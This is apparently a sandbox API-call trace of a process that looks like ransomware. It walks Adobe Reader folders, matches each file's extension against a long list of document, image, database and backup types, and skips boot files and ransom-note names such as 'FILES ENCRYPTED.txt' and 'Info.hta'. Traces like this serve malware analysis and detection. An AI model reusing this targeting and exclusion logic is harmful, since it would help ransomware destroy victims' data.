lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".dwg") returned 4 [0263.124] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".dwt") returned 4 [0263.124] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".dx") returned 3 [0263.124] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.124] lstrlenW (lpString=".dxf") returned 4 [0263.124] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".edml") returned 5 [0263.124] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.124] lstrlenW (lpString=".efd") returned 4 [0263.124] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".elf") returned 4 [0263.124] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".emf") returned 4 [0263.125] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".emz") returned 4 [0263.125] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".epf") returned 4 [0263.125] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".eps") returned 4 [0263.125] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".epsf") returned 5 [0263.125] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.125] lstrlenW (lpString=".epsp") returned 5 [0263.125] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.125] lstrlenW (lpString=".erf") returned 4 [0263.125] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".exr") returned 4 [0263.125] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".f4v") returned 4 [0263.125] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".fido") returned 5 [0263.125] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0263.125] lstrlenW (lpString=".flm") returned 4 [0263.125] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".flv") returned 4 [0263.125] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".frm") returned 4 [0263.125] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".fxg") returned 4 [0263.125] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".geo") returned 4 [0263.125] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0263.125] lstrlenW (lpString=".gif") returned 4 [0263.125] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".grs") returned 4 [0263.126] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".gz") returned 3 [0263.126] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0263.126] lstrlenW (lpString=".h") returned 2 [0263.126] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0263.126] lstrlenW (lpString=".hdr") returned 4 [0263.126] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".hpp") returned 4 [0263.126] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".hta") returned 4 [0263.126] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".htc") returned 4 [0263.126] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".htm") returned 4 [0263.126] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".html") returned 5 [0263.126] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0263.126] lstrlenW (lpString=".icb") returned 4 [0263.126] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".ics") returned 4 [0263.126] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".iff") returned 4 [0263.126] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".inc") returned 4 [0263.126] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0263.126] lstrlenW (lpString=".indd") returned 5 [0263.127] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0263.127] lstrlenW (lpString=".ini") returned 4 [0263.127] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".iqy") returned 4 [0263.127] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".j2c") returned 4 [0263.127] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".j2k") returned 4 [0263.127] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".java") returned 5 [0263.127] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0263.127] lstrlenW (lpString=".jp2") returned 4 [0263.127] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".jpc") returned 4 [0263.127] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".jpe") returned 4 [0263.127] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".jpeg") returned 5 [0263.127] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0263.127] lstrlenW (lpString=".jpf") returned 4 [0263.127] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".jpg") returned 4 [0263.127] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".jpx") returned 4 [0263.127] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0263.127] lstrlenW (lpString=".js") returned 3 [0263.127] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0263.127] lstrlenW (lpString="ui-strings.js") returned 13 [0263.127] lstrlenW (lpString=".love$") returned 6 [0263.127] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0263.128] lstrlenW (lpString="ui-strings.js") returned 13 [0263.128] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0263.128] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0263.128] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js") returned 119 [0263.128] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.128] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0263.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0263.128] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0263.128] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 105 [0263.129] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 1 [0263.129] lstrlenW (lpString="ro-ro") returned 5 [0263.129] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1 [0263.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0263.129] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 105 [0263.129] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0263.129] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.129] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.129] lstrlenW (lpString="ui-strings.js") returned 13 [0263.129] lstrlenW (lpString=".1cd") returned 4 [0263.129] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.129] lstrlenW (lpString=".3ds") returned 4 [0263.129] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.129] lstrlenW (lpString=".3fr") returned 4 [0263.129] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.129] lstrlenW (lpString=".3g2") returned 4 [0263.129] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.129] lstrlenW (lpString=".3gp") returned 4 [0263.130] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.130] lstrlenW (lpString=".7z") returned 3 [0263.130] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.130] lstrlenW (lpString=".accda") returned 6 [0263.130] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.130] lstrlenW (lpString=".accdb") returned 6 [0263.130] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.130] lstrlenW (lpString=".accdc") returned 6 [0263.130] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.130] lstrlenW (lpString=".accde") returned 6 [0263.130] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.130] lstrlenW (lpString=".accdt") returned 6 [0263.130] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.130] lstrlenW (lpString=".accdw") returned 6 [0263.130] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.130] lstrlenW (lpString=".adb") returned 4 [0263.130] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.130] lstrlenW (lpString=".adp") returned 4 [0263.130] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.130] lstrlenW (lpString=".ai") returned 3 [0263.130] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.130] lstrlenW (lpString=".ai3") returned 4 [0263.130] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".ai4") returned 4 [0263.131] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".ai5") returned 4 [0263.131] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".ai6") returned 4 [0263.131] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".ai7") returned 4 [0263.131] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".ai8") returned 4 [0263.131] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".anim") returned 5 [0263.131] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.131] lstrlenW (lpString=".arw") returned 4 [0263.131] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".as") returned 3 [0263.131] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.131] lstrlenW (lpString=".asa") returned 4 [0263.131] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".asc") returned 4 [0263.131] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".ascx") returned 5 [0263.131] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.131] lstrlenW (lpString=".asm") returned 4 [0263.131] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.131] lstrlenW (lpString=".asmx") returned 5 [0263.131] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.131] lstrlenW (lpString=".asp") returned 4 [0263.132] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".aspx") returned 5 [0263.132] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.132] lstrlenW (lpString=".asr") returned 4 [0263.132] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".asx") returned 4 [0263.132] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".avi") returned 4 [0263.132] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".avs") returned 4 [0263.132] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".backup") returned 7 [0263.132] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.132] lstrlenW (lpString=".bak") returned 4 [0263.132] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".bay") returned 4 [0263.132] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.132] lstrlenW (lpString=".bd") returned 3 [0263.133] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.133] lstrlenW (lpString=".bin") returned 4 [0263.133] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".bmp") returned 4 [0263.133] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".bz2") returned 4 [0263.133] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".c") returned 2 [0263.133] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.133] lstrlenW (lpString=".cdr") returned 4 [0263.133] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".cer") returned 4 [0263.133] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".cf") returned 3 [0263.133] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.133] lstrlenW (lpString=".cfc") returned 4 [0263.133] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".cfm") returned 4 [0263.133] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".cfml") returned 5 [0263.133] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.133] lstrlenW (lpString=".cfu") returned 4 [0263.133] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.133] lstrlenW (lpString=".chm") returned 4 [0263.134] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".cin") returned 4 [0263.134] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".class") returned 6 [0263.134] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.134] lstrlenW (lpString=".clx") returned 4 [0263.134] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".config") returned 7 [0263.134] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.134] lstrlenW (lpString=".cpp") returned 4 [0263.134] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".cr2") returned 4 [0263.134] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".crt") returned 4 [0263.134] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".crw") returned 4 [0263.134] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".cs") returned 3 [0263.134] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.134] lstrlenW (lpString=".css") returned 4 [0263.134] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".csv") returned 4 [0263.134] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.134] lstrlenW (lpString=".cub") returned 4 [0263.134] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dae") returned 4 [0263.135] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dat") returned 4 [0263.135] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".db") returned 3 [0263.135] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.135] lstrlenW (lpString=".dbf") returned 4 [0263.135] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dbx") returned 4 [0263.135] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dc3") returned 4 [0263.135] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dcm") returned 4 [0263.135] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dcr") returned 4 [0263.135] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".der") returned 4 [0263.135] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dib") returned 4 [0263.135] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dic") returned 4 [0263.135] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".dif") returned 4 [0263.135] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.135] lstrlenW (lpString=".divx") returned 5 [0263.135] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.135] lstrlenW (lpString=".djvu") returned 5 [0263.135] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.135] lstrlenW (lpString=".dng") returned 4 [0263.136] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".doc") returned 4 [0263.136] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".docm") returned 5 [0263.136] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.136] lstrlenW (lpString=".docx") returned 5 [0263.136] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.136] lstrlenW (lpString=".dot") returned 4 [0263.136] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dotm") returned 5 [0263.136] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.136] lstrlenW (lpString=".dotx") returned 5 [0263.136] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.136] lstrlenW (lpString=".dpx") returned 4 [0263.136] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dqy") returned 4 [0263.136] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dsn") returned 4 [0263.136] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dt") returned 3 [0263.136] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.136] lstrlenW (lpString=".dtd") returned 4 [0263.136] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dwg") returned 4 [0263.136] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dwt") returned 4 [0263.136] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.136] lstrlenW (lpString=".dx") returned 3 [0263.136] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.137] lstrlenW (lpString=".dxf") returned 4 [0263.137] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".edml") returned 5 [0263.137] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.137] lstrlenW (lpString=".efd") returned 4 [0263.137] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".elf") returned 4 [0263.137] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".emf") returned 4 [0263.137] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".emz") returned 4 [0263.137] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".epf") returned 4 [0263.137] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".eps") returned 4 [0263.137] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.137] lstrlenW (lpString=".epsf") returned 5 [0263.137] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.137] lstrlenW (lpString=".epsp") returned 5 [0263.137] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.138] lstrlenW (lpString=".erf") returned 4 [0263.138] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".exr") returned 4 [0263.138] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".f4v") returned 4 [0263.138] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".fido") returned 5 [0263.138] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0263.138] lstrlenW (lpString=".flm") returned 4 [0263.138] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".flv") returned 4 [0263.138] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".frm") returned 4 [0263.138] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".fxg") returned 4 [0263.138] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".geo") returned 4 [0263.138] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0263.138] lstrlenW (lpString=".gif") returned 4 [0263.139] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".grs") returned 4 [0263.139] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".gz") returned 3 [0263.139] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0263.139] lstrlenW (lpString=".h") returned 2 [0263.139] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0263.139] lstrlenW (lpString=".hdr") returned 4 [0263.139] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".hpp") returned 4 [0263.139] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".hta") returned 4 [0263.139] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".htc") returned 4 [0263.139] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".htm") returned 4 [0263.139] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".html") returned 5 [0263.139] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0263.139] lstrlenW (lpString=".icb") returned 4 [0263.139] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0263.139] lstrlenW (lpString=".ics") returned 4 [0263.140] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0263.140] lstrlenW (lpString=".iff") returned 4 [0263.140] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0263.140] lstrlenW (lpString=".inc") returned 4 [0263.140] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0263.140] lstrlenW (lpString=".indd") returned 5 [0263.160] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0263.160] lstrlenW (lpString=".ini") returned 4 [0263.160] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0263.160] lstrlenW (lpString=".iqy") returned 4 [0263.773] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0263.773] lstrlenW (lpString=".j2c") returned 4 [0263.773] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0263.773] lstrlenW (lpString=".j2k") returned 4 [0263.773] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0263.773] lstrlenW (lpString=".java") returned 5 [0263.773] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0263.774] lstrlenW (lpString=".jp2") returned 4 [0263.774] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0263.774] lstrlenW (lpString=".jpc") returned 4 [0263.774] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0263.774] lstrlenW (lpString=".jpe") returned 4 [0263.774] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0263.774] lstrlenW (lpString=".jpeg") returned 5 [0263.774] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0263.774] lstrlenW (lpString=".jpf") returned 4 [0263.774] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0263.774] lstrlenW (lpString=".jpg") returned 4 [0263.774] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 